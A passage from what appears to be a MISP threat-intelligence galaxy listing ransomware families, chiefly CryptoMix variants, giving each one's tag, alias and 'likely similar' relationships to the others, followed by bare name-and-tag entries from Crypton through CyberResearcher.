- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Cryptomix-SERVER

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptomix-SERVER"*

Cryptomix-SERVER is also known as:

- SERVER Cryptomix

View relationships graph

Cryptomix-SERVER has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Shark

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Shark"*

CryptoMix-Shark is also known as:

- Shark CryptoMix

View relationships graph

CryptoMix-Shark has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-System

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-System"*

CryptoMix-System is also known as:

- System CryptoMix

View relationships graph

CryptoMix-System has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Tastylock

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Tastylock"*

CryptoMix-Tastylock is also known as:

- Tastylock CryptoMix

View relationships graph

CryptoMix-Tastylock has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Test

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Test"*

CryptoMix-Test is also known as:

- Test CryptoMix

View relationships graph

CryptoMix-Test has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Wallet

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Wallet"*

View relationships graph

CryptoMix-Wallet has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Cryptomix-WORK

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptomix-WORK"*

Cryptomix-WORK is also known as:

- WORK CryptoMix

View relationships graph

Cryptomix-WORK has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-x1881

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-x1881"*

CryptoMix-x1881 is also known as:

- x1881 CryptoMix

View relationships graph

CryptoMix-x1881 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-XZZX

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-XZZX"*

CryptoMix-XZZX is also known as:

- XZZX CryptoMix

View relationships graph

CryptoMix-XZZX has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Zayka

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Zayka"*

CryptoMix-Zayka is also known as:

- Zayka CryptoMix

View relationships graph

CryptoMix-Zayka has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"

Crypton

Ransomware

The tag is: *misp-galaxy:ransomware="Crypton"*

CryptoPatronum

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoPatronum"*

CryptoPokemon

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoPokemon"*

CryptorBit

Ransomware

The tag is: *misp-galaxy:ransomware="CryptorBit"*

CryptoShield 2.0

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoShield 2.0"*

CryptoSpider

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoSpider"*

CryptoViki

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoViki"*

Cryptre

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptre"*

CrypTron

Ransomware

The tag is: *misp-galaxy:ransomware="CrypTron"*

Crysis XTBL

Ransomware

The tag is: *misp-galaxy:ransomware="Crysis XTBL"*

Crystal

Ransomware

The tag is: *misp-galaxy:ransomware="Crystal"*

CrystalCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="CrystalCrypt"*

CryTekk

Ransomware

The tag is: *misp-galaxy:ransomware="CryTekk"*

CSP

Ransomware

The tag is: *misp-galaxy:ransomware="CSP"*

CTB-Locker Original

Ransomware

The tag is: *misp-galaxy:ransomware="CTB-Locker Original"*

CTF

Ransomware

The tag is: *misp-galaxy:ransomware="CTF"*

Curumim

Ransomware

The tag is: *misp-galaxy:ransomware="Curumim"*

CVLocker

Ransomware

The tag is: *misp-galaxy:ransomware="CVLocker"*

Cyber Police HT

Ransomware

The tag is: *misp-galaxy:ransomware="Cyber Police HT"*

CyberDrill2

Ransomware

The tag is: *misp-galaxy:ransomware="CyberDrill2"*

CyberResearcher

Ransomware

